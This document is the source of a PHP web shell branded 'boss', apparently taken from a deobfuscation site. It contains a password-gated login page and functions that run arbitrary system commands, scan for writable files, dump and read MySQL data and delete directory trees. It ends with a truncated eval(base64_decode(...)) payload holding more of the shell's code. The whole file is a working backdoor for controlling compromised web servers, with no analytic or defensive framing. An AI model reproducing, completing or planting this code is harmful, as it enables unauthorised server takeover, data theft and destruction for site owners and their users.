<style type="text/css">span.underline{text-decoration:underline;}span.orange{color:#B3D169;}span.project_type{text-align:right}span.grey{color:#666;}#links{list-style-type:none;padding:20px 0 0 0;padding-left:20px;}#linklist2 td{color:#fff;background:#191919;}#linklist2 td:visited{color:#999;}#linklist2 td:hover{background:#B3D169;color:#191919;}body,tr,td{margin-top: 5px;background-color: #000000;color: #b4a9a9;font-size: 12px;SCROLLBAR-FACE-COLOR: #232323;scrollbar-arrow-color: #383839;scrollbar-highlight-color: #383839;scrollbar-3dlight-color: #dddddd;scrollbar-shadow-color: #232323}.sb{cursor: hand}input,select,textarea{border-top-width: 1px;font-weight: bold;border-left-width: 1px;font-size: 11px;border-left-color: #dddddd;background: #000000;border-bottom-width: 1px;border-bottom-color: #dddddd;color: #dddddd;border-top-color: #dddddd;font-family: verdana;border-right-width: 1px;border-right-color: #dddddd;}#d{background: #121212;padding-left: 5px;padding-right: 5px;font-color: #fff}pre{font-size: 11px;font-family: verdana;color: #dddddd;}hr{color: #dddddd;background-color: #dddddd;height: 5px;}#x{font-family: verdana;font-size: 13px}a{color: #ffffff;text-decoration: none;}.am{color: #b4a9a9;font-size: 11px;}</style>
<script type='text/javascript' src='http://code.jquery.com/jquery-1.3.2.min.js'></script><script>(function(){$('.tests').fadeOut(250).fadeIn(250); setTimeout(arguments.callee,500); })(); function ti(){setTimeout('ti()',100);var v='#'+Math.floor(Math.random()*900000).toString();document.getElementById('id1').style.color=v;} ti(); function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm("bo"))return true;else return false;}function runClock(){theTime = window.setTimeout("runClock()", 100);var today = new Date();var display= today.toLocaleString();window.status="boss --"+display;}runClock();function ShowFolder(Folder){top.addrform.FolderPath.value = Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value = FName;if(FAction=="CopyFile"){DName = prompt("bo",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="MoveFile"){DName = prompt("bom",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="CopyFolder"){DName = prompt("bom",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="MoveFolder"){DName = prompt("bom",FName);top.hideform.FName.value += "||||"+DName;}else if(FAction=="NewFolder"){DName = prompt("bom",FName);top.hideform.FName.value = DName;}else{DName = "Other";}if(DName!=null){top.hideform.Action.value = FAction;top.hideform.submit();}else{top.hideform.FName.value = "";}}</script><body scroll=no></form><script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script><body style='background:#000000'> <center>
<p style='height:50px'></p><span style='font-family:?, ?_GB2312;font-size:108px;font-style:italic;font-weight:bold;display:inline-block;color:white;text-shadow:1px 0 4px #ff0000,0 1px 4px #ff0000,0 -1px 4px #ff0000,-1px 0 4px #ff0000;filter:glow(color=#ff0000,strength=3)' id='id1'>boss</span><div class='tests' style='background:url(http://imgnews.naver.net/image/016/2015/12/14/20151214000576_0_99_20151214113309.jpg); background-repeat:no-repeat; background-position:center' align='center'><p style='height:200px'></p></div><div style='width:400px;padding:32px; align=left'><br><form action=''&url&'' method='post'><b><span style='color:white;display:inline-block;text-shadow:1px 0px 4px #c00000, 0px 1px 4px #c00000, 0px -1px 4px #c00000, -1px 0px 4px #c00000'>>Password: </span><input name="password" type="password" size="20"> <input type="hidden" name="action" value="login">
<input type="submit" value="Login"></center>
</form>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
function dirsize($dir) {
$dh = @opendir($dir);
$size = 0;
while($file = @readdir($dh)) {
if ($file != '.' && $file != '..') {
$path = $dir.'/'.$file;
$size += @is_dir($path) ? dirsize($path) : @filesize($path);
}
}
@closedir($dh);
return $size;
}
// ??U
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
//??MYSQLb??
function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
global $charsetdb;
@ini_set('mysql.connect_timeout', 5);
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if($charset && in_array(strtolower($charset), $charsetdb)) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// ???
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// ??HTML??
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("
", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace(" ", " ", $content);
return $content;
}
// ???
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// ???
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// ???????
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// ????????
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// ??????????
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// ??PHP??b
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// ???b??
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
// ?????
function getext($file) {
$info = pathinfo($file);
return $info['extension'];
}
function GetWDirList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=$dir;
$dirdata[$j]['server_link']=$f;
$j++;
}
GetWDirList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function GetWFileList($dir){
global $filedata,$j,$nowpath, $writabledb;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$ext = getext($file);
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
GetWFileList($f);
} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
if (is_writable($f)) {
$filedata[$j]['filename']=str_replace($nowpath,'',$f);
$filedata[$j]['size']=sizecount(@filesize($f));
$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$filedata[$j]['filechmod']=getChmod($f);
$filedata[$j]['fileperm']=getPerms($f);
$filedata[$j]['fileowner']=getUser($f);
$filedata[$j]['dirlink']=$dir;
$filedata[$j]['server_link']=$f;
$j++;
}
}
}
closedir($dh);
clearstatcache();
return $filedata;
} else {
return array();
}
}
function GetSFileList($dir, $content, $re = 0) {
global $filedata,$j,$nowpath, $writabledb;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$ext = getext($file);
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
GetSFileList($f, $content, $re = 0);
} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
$find = 0;
if ($re) {
if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
$find = 1;
}
} else {
if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
$find = 1;
}
}
if ($find) {
$filedata[$j]['filename']=str_replace($nowpath,'',$f);
$filedata[$j]['size']=sizecount(@filesize($f));
$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$filedata[$j]['filechmod']=getChmod($f);
$filedata[$j]['fileperm']=getPerms($f);
$filedata[$j]['fileowner']=getUser($f);
$filedata[$j]['dirlink']=$dir;
$filedata[$j]['server_link']=$f;
$j++;
}
}
}
closedir($dh);
clearstatcache();
return $filedata;
} else {
return array();
}
}
function qy($sql) {
global $mysqllink;
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql,$mysqllink)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
global $mysqllink;
return @mysql_query($sql,$mysqllink);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($fileSize) {
$size = sprintf("%u", $fileSize);
if($size == 0) {
return '0 Bytes' ;
}
$sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
}
// ??b??
function sqldumptable($table, $fp=0) {
global $mysqllink;
$tabledump = "DROP TABLE IF EXISTS `$table`;
";
$res = q("SHOW CREATE TABLE $table");
$create = mysql_fetch_row($res);
$tabledump .= $create[1].";
";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$tabledump = '';
$rows = q("SELECT * FROM $table");
while ($row = mysql_fetch_assoc($rows)) {
foreach($row as $k=>$v) {
$row[$k] = "'".@mysql_real_escape_string($v)."'";
}
$tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."
";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fwrite($fp,"
");
fr($rows);
}
function p($str){
echo $str."
";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
if ($arg['nokey']) {
foreach ($arg['option'] as $value) {
if ($arg['selected']==$value) {
p("<option value=\"$value\" selected>$value</option>");
} else {
p("<option value=\"$value\">$value</option>");
}
}
} else {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
global $self;
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
p('</form>');
}
function goback(){
global $self, $nowpath;
p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
}
function formfoot(){
p('</form>');
}
function encode_pass($pass) {
$pass = md5('kenzo'.$pass);
$pass = md5($pass.'kenzo');
$pass = md5('kenzo'.$pass.'kenzo');
return $pass;
}
function pr($s){
echo "<pre>".print_r($s).'</pre>';
}
Did this file decode correctly?
Original Code
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpvYl9zdGFydCgpOwokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOwpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOwpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7CmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7CiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKSB7CglpZiAoSVNfR1BDKSB7CgkJJHZhbHVlID0gc19hcnJheSgkdmFsdWUpOwoJfQoJJCRrZXkgPSAkdmFsdWU7Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gP++/ve+/vT/vv73vv70gPT09PT09PT09PT09PT09PT09PT09Ki8KCi8vZWNobyBlbmNvZGVfcGFzcygnYW5nZWwnKTtleGl0OwovL2FuZ2VsID0gOTQ3MGUzZGM4ZmI2YzQwYjI2OGExZGQ2ZTY0NjRlZjQKLy8gPz/vv73vv73vv73vv70/P++/vcKTLD/vv71cPz8/Pz8sPz/vv73vv70/77+977+977+977+977+9wpMKJHBhc3MgID0gJzlmOWU3YTc4ZGRmZTY3Y2VlNzZmZDJlY2ZmOTc0NjRlJzsgLy9hbmdlbAoKLy8/Pz8gY29va2llIO+/vVvMtT/vv73vv73Gvu+/ve+/ve+/ve+/ve+/vT8sID8/Pz/vv73vv70/LCA/77+9XD/vv73vv70/Pz8sID/vv73vv70/Pz8/PwovLyBjb29raWUgP++/ve+/vQokY29va2llcHJlID0gJyc7Ci8vIGNvb2tpZSDvv71bzLXvv73vv70KJGNvb2tpZWRvbWFpbiA9ICcnOwovLyBjb29raWUg77+9W8y1Pz8KJGNvb2tpZXBhdGggPSAnLyc7Ci8vIGNvb2tpZSDvv73GmO+/vT8KJGNvb2tpZWxpZmUgPSA4NjQwMDsKCi8vP++/ve+/ve+/vXrvv73vv70/77+9c++/ve+/vT8/P9aUCiEkd3JpdGFibGVkYiAmJiAkd3JpdGFibGVkYiA9ICdwaHAsY2dpLHBsLGFzcCxpbmMsanMsaHRtbCxodG0sanNwJzsKLyo9PT09PT09PT09PT09PT09PT09PT0gP++/ve+/vT/vv71PID09PT09PT09PT09PT09PT09PT09PSovCgokY2hhcnNldGRiID0gYXJyYXkoJycsJ2FybXNjaWk4JywnYXNjaWknLCdiaWc1JywnYmluYXJ5JywnY3AxMjUwJywnY3AxMjUxJywnY3AxMjU2JywnY3AxMjU3JywnY3A4NTAnLCdjcDg1MicsJ2NwODY2JywnY3A5MzInLCdkZWM4JywnZXVjLWpwJywnZXVjLWtyJywnZ2IyMzEyJywnZ2JrJywnZ2Vvc3RkOCcsJ2dyZWVrJywnaGVicmV3JywnaHA4Jywna2V5YmNzMicsJ2tvaThyJywna29pOHUnLCdsYXRpbjEnLCdsYXRpbjInLCdsYXRpbjUnLCdsYXRpbjcnLCdtYWNjZScsJ21hY3JvbWFuJywnc2ppcycsJ3N3ZTcnLCd0aXM2MjAnLCd1Y3MyJywndWppcycsJ3V0ZjgnKTsKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2V1Yy1rcicpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIik7Cn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZXVjLWpwJykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1ldWMtanAiKTsKfQoKJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107CiR0aW1lc3RhbXAgPSB0aW1lKCk7CgovKj09PT09PT09PT09PT09PT09PT09PSDvv73vv70/77+9wpMgPT09PT09PT09PT09PT09PT09PT09Ki8KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsKCXNjb29raWUoJ2xvZ2lucGFzcycsICcnLCAtODY0MDAgKiAzNjUpOwoJQGhlYWRlcignTG9jYXRpb246ICcuJHNlbGYpOwoJZXhpdDsKfQppZigkcGFzcykgewoJaWYgKCRhY3Rpb24gPT0gJ2xvZ2luJykgewoJCWlmICgkcGFzcyA9PSBlbmNvZGVfcGFzcygkcGFzc3dvcmQpKSB7CgkJCXNjb29raWUoJ2xvZ2lucGFzcycsZW5jb2RlX3Bhc3MoJHBhc3N3b3JkKSk7CgkJCUBoZWFkZXIoJ0xvY2F0aW9uOiAnLiRzZWxmKTsKCQkJZXhpdDsKCQl9Cgl9CglpZiAoJF9DT09LSUVbJ2xvZ2lucGFzcyddKSB7CgkJaWYgKCRfQ09PS0lFWydsb2dpbnBhc3MnXSAhPSAkcGFzcykgewoJCQlsb2dpbnBhZ2UoKTsKCQl9Cgl9IGVsc2UgewoJCWxvZ2lucGFnZSgpOwoJfQp9Ci8qPT09PT09PT09PT09PT09PT09PT09IO+/vcKTP++/vU8gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKISRhY3Rpb24gJiYgJGFjdGlvbiA9ICdmaWxlJzsKCi8vID8/UEhQSU5GTwppZiAoJGFjdGlvbiA9PSAncGhwaW5mbycpIHsKCWlmIChJU19QSFBJTkZPKSB7CgkJcGhwaW5mbygpOwoJCWV4aXQ7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgovLyDvv73vv73vv73vv73vv73vv70/CmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgewoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7CgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCX0gZWxzZSB7CgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7CgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOwoJCUByZWFkZmlsZSgkdGhlZmlsZSk7CgkJZXhpdDsKCX0KfQoKLy8g77+977+9P++/ve+/ve+/ve+/vT8/77+9Yj8/CmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsKCWlmICghJHRhYmxlKSB7CgkJJGVycm1zZyA9J1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJzsKCX0gZWxzZSB7CgkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZGJuYW1lLicuc3FsJyk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsKCQlmb3JlYWNoKCR0YWJsZSBhcyAkayA9PiAkdikgewoJCQlpZiAoJHYpIHsKCQkJCXNxbGR1bXB0YWJsZSgkdik7CgkJCX0KCQl9CgkJbXlzcWxfY2xvc2UoKTsKCQlleGl0OwoJfQp9CgovLyDvv71NP01ZU1FM77+977+977+977+977+977+9PwppZigkZG9pbmc9PSdteXNxbGRvd24nKXsKCWlmICghJGRibmFtZSkgewoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7Cgl9IGVsc2UgewoJCSRteXNxbGxpbmsgPSBteWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7CgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7CgkJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7CgkJfSBlbHNlIHsKCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOwoJCQlpZighJHJlc3VsdCl7CgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7CgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsKCQkJCS8vzLXvv73vv70/Pz8/77+977+9Pz8sPz8/77+977+9Pz/vv73vv73vv70/Pz9fX2FuZ2VsXzExMTExMTExMTFfZW9mX18/77+977+9P++/ve+/vT/vv73vv73vv716Pz8/CgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOwoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7CgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOwoJCQl9CgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJCWlmICghJHJvdykgewoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7CgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsKCQkJCWVjaG8gJHJvd1swXTsKCQkJCWV4aXQ7CgkJCX0KCQl9Cgl9Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIj4KPHRpdGxlPjw/cGhwIGVjaG8gJGFjdGlvbi4nIC0gJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107Pz48L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5LHRke2ZvbnQ6IDEycHggQXJpYWwsVGFob21hO2xpbmUtaGVpZ2h0OiAxNnB4O30KLmlucHV0e2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7aGVpZ2h0OjIycHg7fQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWN